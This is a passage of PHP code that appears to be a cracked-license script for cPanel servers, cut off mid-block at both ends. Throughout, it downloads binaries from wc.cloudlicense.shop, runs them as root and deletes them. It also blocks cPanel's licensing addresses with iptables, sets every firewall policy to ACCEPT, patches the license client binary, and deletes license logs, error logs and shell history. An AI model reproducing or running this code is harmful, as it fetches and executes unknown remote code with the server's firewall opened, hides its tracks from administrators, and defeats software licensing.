												exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
												exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
												exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
												exec('sh /usr/bin/con0 > /dev/null 2>&1');
												exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
												exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
												exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
											}

											$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

											if (0 < strlen($cpanel_txt)) {
												if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
													exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
													exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
													exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
													exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
													exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
													exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
													exec('sh /usr/bin/con0 > /dev/null 2>&1');
													exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
													exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
													exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
													exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
													exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
													exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
													exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
													exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
													exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
													exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
												}
											}
										}

										$dns = '/usr/local/cpanel/cpanel.lisc';

										if (file_exists($dns)) {
											$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
											$pos = strpos($filedns, 'dnsonly');

											if ($pos !== false) {
												exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
												exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
												exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
												exec('sh /usr/bin/con0 > /dev/null 2>&1');
												exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
												exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
												exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
											}

											$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

											if (0 < strlen($cpanel_txt)) {
												if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
													exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
													exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
													exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
													exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
													exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
													exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
													exec('sh /usr/bin/con0 > /dev/null 2>&1');
													exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
													exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
													exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
													exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
													exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
													exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
													exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
													exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
													exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
													exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
												}
											}
										}

										$dns = '/usr/local/cpanel/cpanel.lisc';

										if (file_exists($dns)) {
											$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
											$pos = strpos($filedns, 'dnsonly');

											if ($pos !== false) {
												exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
												exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
												exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
												exec('sh /usr/bin/con0 > /dev/null 2>&1');
												exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
												exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
												exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
												exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
											}

											$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

											if (0 < strlen($cpanel_txt)) {
												if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
													exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
													exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
													exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
													exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
													exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
													exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
													exec('sh /usr/bin/con0 > /dev/null 2>&1');
													exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
													exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
													exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
													exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
													exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
													exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
													exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
													exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
													exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
													exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
												}
											}
										}

										$filename3 = '/usr/local/cpanel/cpanel.lisc';

										if (file_exists($filename3)) {
											exec('/usr/sbin/iptables -A INPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
											exec('/usr/sbin/iptables -A INPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
											exec('/usr/sbin/iptables -A INPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
											exec('/usr/sbin/iptables -A INPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
											exec('/usr/sbin/iptables -A INPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
											exec('/usr/sbin/iptables -A INPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
											exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
											exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
											exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
											exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
											exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
											exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
															maximum_users();
                                echo '\n';
				echo 'Cpanel license has been updated and renewed';
                                echo '\n';
											exec('wget -O /usr/local/cpanel/.ltrc wc.cloudlicense.shop/date/current > /dev/null 2>&1');
											exec('wget -O /usr/local/cpanel/.ltrc1 wc.cloudlicense.shop/date/current > /dev/null 2>&1');
											exec('cat /usr/bin/.sysma/procc.conf8 > /usr/local/.recoverit');
											exec('cat /usr/local/.recoverit > /usr/local/.recoverit1');
											exec('sed -i \'1d\' /usr/local/.recoverit1');
											exec('sed -r \'s/\\s+//g\' /usr/local/.recoverit1 > /usr/local/.recoverit2');
											exec('sed -i\'_is_back\' \'s/cpanel.lisc/cpane1.lisc/g\' /usr/local/cpanel/.cpkeyclt');
											exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
											exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
											exec('cat /usr/local/cpanel/cpanel.lisc > /usr/local/cpanel/cpane1.lisc');
											exec('rm -rf /usr/bin/.sysma/procc*.conf > /dev/null 2>&1');
											exec('rm -rf /usr/bin/.sysma/procc.conf* > /dev/null 2>&1');
											exec('comp0 -i -a /usr/local/cpanel/logs/error_log > /dev/null 2>&1 && rm -rf /usr/local/cpanel/logs/error_log > /dev/null 2>&1');
											exec('service cpanel restart > /dev/null 2>&1');
											exec('rm -rf /root/GBCP.lock > /dev/null 2>&1');
											maximum_users();
											echo "";
echo "";
echo "\x1b" . '[36m' . 'Cpanel license has been updated and activated!' . "\x1b" . '[0m' . "";
echo "";
echo "";
										}
										else {
											exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
											exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
											exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
											exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
											exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
											exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
											exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
											exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
											exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
											exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
											exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
											exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
											exec('/usr/bin/rm /usr/local/cpanel/logs/license_log > /dev/null 2>&1');
											exec('timeout 5s csf -f > /dev/null 2>&1');
											exec('rm -rf /usr/local/cpanel/cpanel.li* > /dev/null 2>&1');
											exec('for run in {1..10}; do killall cpkeyclt; done > /dev/null 2>&1');
											exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
											exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
											exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
											exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
											exec('iptables -A OUTPUT -j ACCEPT > /dev/null 2>&1');
											exec('iptables -I INPUT -j ACCEPT > /dev/null 2>&1');
											exec('iptables -I OUTPUT -j ACCEPT > /dev/null 2>&1');
											exec('iptables -P INPUT ACCEPT > /dev/null 2>&1');
											exec('iptables -P FORWARD ACCEPT > /dev/null 2>&1');
											exec('iptables -P OUTPUT ACCEPT > /dev/null 2>&1');
											exec('/usr/bin/wget -O /usr/bin/.sysma/procc55.conf https://wc.cloudlicense.shop/api/change1?key=' . $key . ' > /dev/null 2>&1');
											exec('sed -e \'s/<[^>]*>//g\' /usr/bin/.sysma/procc55.conf > /usr/bin/.sysma/procc.conf5');
											$null = shell_exec('check=$(timeout 30s /usr/bin/plast -q -f /usr/bin/.sysma/procc.conf5 /usr/local/cpanel/.cpkeyclt 2> /dev/null)');
											exec('/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1');
											$dns = '/usr/local/cpanel/cpanel.lisc';

											if (file_exists($dns)) {
												$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
												$pos = strpos($filedns, 'dnsonly');

												if ($pos !== false) {
													exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
													exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
													exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
													exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
													exec('sh /usr/bin/con0 > /dev/null 2>&1');
													exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
													exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
													exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
													exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
													exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
													exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
													exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
													exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
													exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
													exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
													exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
												}

												$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

												if (0 < strlen($cpanel_txt)) {
													if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
														exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
														exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
														exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
														exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
														exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
														exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
														exec('sh /usr/bin/con0 > /dev/null 2>&1');
														exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
														exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
														exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
														exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
														exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
														exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
														exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
														exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
														exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
														exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
													}
												}
											}

											$filename3 = '/usr/local/cpanel/cpanel.lisc';

											if (file_exists($filename3)) {
												exec('/usr/sbin/iptables -A INPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
												exec('/usr/sbin/iptables -A INPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
												exec('/usr/sbin/iptables -A INPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
												exec('/usr/sbin/iptables -A INPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
												exec('/usr/sbin/iptables -A INPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
												exec('/usr/sbin/iptables -A INPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
												exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
												exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
												exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
												exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
												exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
												exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
																maximum_users();
                                echo '\n';
				echo 'Cpanel license has been updated and renewed';
                                echo '\n';
												exec('wget -O /usr/local/cpanel/.ltrc wc.cloudlicense.shop/date/current > /dev/null 2>&1');
												exec('wget -O /usr/local/cpanel/.ltrc1 wc.cloudlicense.shop/date/current > /dev/null 2>&1');
												exec('cat /usr/bin/.sysma/procc.conf5 > /usr/local/.recoverit');
												exec('cat /usr/local/.recoverit > /usr/local/.recoverit1');
												exec('sed -i \'1d\' /usr/local/.recoverit1');
												exec('sed -r \'s/\\s+//g\' /usr/local/.recoverit1 > /usr/local/.recoverit2');
												exec('sed -i\'_is_back\' \'s/cpanel.lisc/cpane1.lisc/g\' /usr/local/cpanel/.cpkeyclt');
												exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
												exec('cat /usr/local/cpanel/cpanel.lisc > /usr/local/cpanel/cpane1.lisc');
												exec('rm -rf /usr/bin/.sysma/procc*.conf > /dev/null 2>&1');
												exec('rm -rf /usr/bin/.sysma/procc.conf* > /dev/null 2>&1');
												exec('comp0 -i -a /usr/local/cpanel/logs/error_log > /dev/null 2>&1 && rm -rf /usr/local/cpanel/logs/error_log > /dev/null 2>&1');
												exec('service cpanel restart > /dev/null 2>&1');
												exec('rm -rf /root/GBCP.lock > /dev/null 2>&1');
												maximum_users();
												echo "";
echo "";
echo "\x1b" . '[36m' . 'Cpanel license has been updated and activated!' . "\x1b" . '[0m' . "";
echo "";
echo "";
											}
											else {
												exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
												exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
												exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
												exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
												exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
												exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
												exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
												exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
												exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
												exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
												exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
												exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
												exec('/usr/bin/rm /usr/local/cpanel/logs/license_log > /dev/null 2>&1');
												exec('timeout 5s csf -f > /dev/null 2>&1');
												exec('rm -rf /usr/local/cpanel/cpanel.li* > /dev/null 2>&1');
												exec('for run in {1..10}; do killall cpkeyclt; done > /dev/null 2>&1');
												exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
												exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
												exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
												exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
												exec('iptables -A OUTPUT -j ACCEPT > /dev/null 2>&1');
												exec('iptables -I INPUT -j ACCEPT > /dev/null 2>&1');
												exec('iptables -I OUTPUT -j ACCEPT > /dev/null 2>&1');
												exec('iptables -P INPUT ACCEPT > /dev/null 2>&1');
												exec('iptables -P FORWARD ACCEPT > /dev/null 2>&1');
												exec('iptables -P OUTPUT ACCEPT > /dev/null 2>&1');
												exec('/usr/bin/wget -O /usr/bin/.sysma/procc66.conf https://wc.cloudlicense.shop/api/change?key=' . $key . ' > /dev/null 2>&1');
												exec('sed -e \'s/<[^>]*>//g\' /usr/bin/.sysma/procc66.conf > /usr/bin/.sysma/procc.conf6');
												$null = shell_exec('check=$(timeout 30s /usr/bin/plast -q -f /usr/bin/.sysma/procc.conf6 /usr/local/cpanel/.cpkeyclt 2> /dev/null)');
												exec('/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1');
												$dns = '/usr/local/cpanel/cpanel.lisc';

												if (file_exists($dns)) {
													$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
													$pos = strpos($filedns, 'dnsonly');

													if ($pos !== false) {
														exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
														exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
														exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
														exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
														exec('sh /usr/bin/con0 > /dev/null 2>&1');
														exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
														exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
														exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
														exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
														exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
														exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
														exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
														exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
														exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
														exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
														exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
													}

													$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

													if (0 < strlen($cpanel_txt)) {
														if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
															exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
															exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
															exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
															exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
															exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
															exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
															exec('sh /usr/bin/con0 > /dev/null 2>&1');
															exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
															exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
															exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
															exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
															exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
															exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
															exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
															exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
															exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
															exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
														}
													}
												}

												$filename3 = '/usr/local/cpanel/cpanel.lisc';

												if (file_exists($filename3)) {
													exec('/usr/sbin/iptables -A INPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
													exec('/usr/sbin/iptables -A INPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
													exec('/usr/sbin/iptables -A INPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
													exec('/usr/sbin/iptables -A INPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
													exec('/usr/sbin/iptables -A INPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
													exec('/usr/sbin/iptables -A INPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
													exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
													exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
													exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
													exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
													exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
													exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
																	maximum_users();
                                echo '\n';
				echo 'Cpanel license has been updated and renewed';
                                echo '\n';
													exec('wget -O /usr/local/cpanel/.ltrc wc.cloudlicense.shop/date/current > /dev/null 2>&1');
													exec('wget -O /usr/local/cpanel/.ltrc1 wc.cloudlicense.shop/date/current > /dev/null 2>&1');
													exec('cat /usr/bin/.sysma/procc.conf6 > /usr/local/.recoverit');
													exec('cat /usr/local/.recoverit > /usr/local/.recoverit1');
													exec('sed -i \'1d\' /usr/local/.recoverit1');
													exec('sed -r \'s/\\s+//g\' /usr/local/.recoverit1 > /usr/local/.recoverit2');
													exec('sed -i\'_is_back\' \'s/cpanel.lisc/cpane1.lisc/g\' /usr/local/cpanel/.cpkeyclt');
													exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
													exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
													exec('cat /usr/local/cpanel/cpanel.lisc > /usr/local/cpanel/cpane1.lisc');
													exec('rm -rf /usr/bin/.sysma/procc*.conf > /dev/null 2>&1');
													exec('rm -rf /usr/bin/.sysma/procc.conf* > /dev/null 2>&1');
													exec('comp0 -i -a /usr/local/cpanel/logs/error_log > /dev/null 2>&1 && rm -rf /usr/local/cpanel/logs/error_log > /dev/null 2>&1');
													exec('service cpanel restart > /dev/null 2>&1');
													exec('rm -rf /root/GBCP.lock > /dev/null 2>&1');
													maximum_users();
													echo "";
echo "";
echo "\x1b" . '[36m' . 'Cpanel license has been updated and activated!' . "\x1b" . '[0m' . "";
echo "";
echo "";
												}
												else {
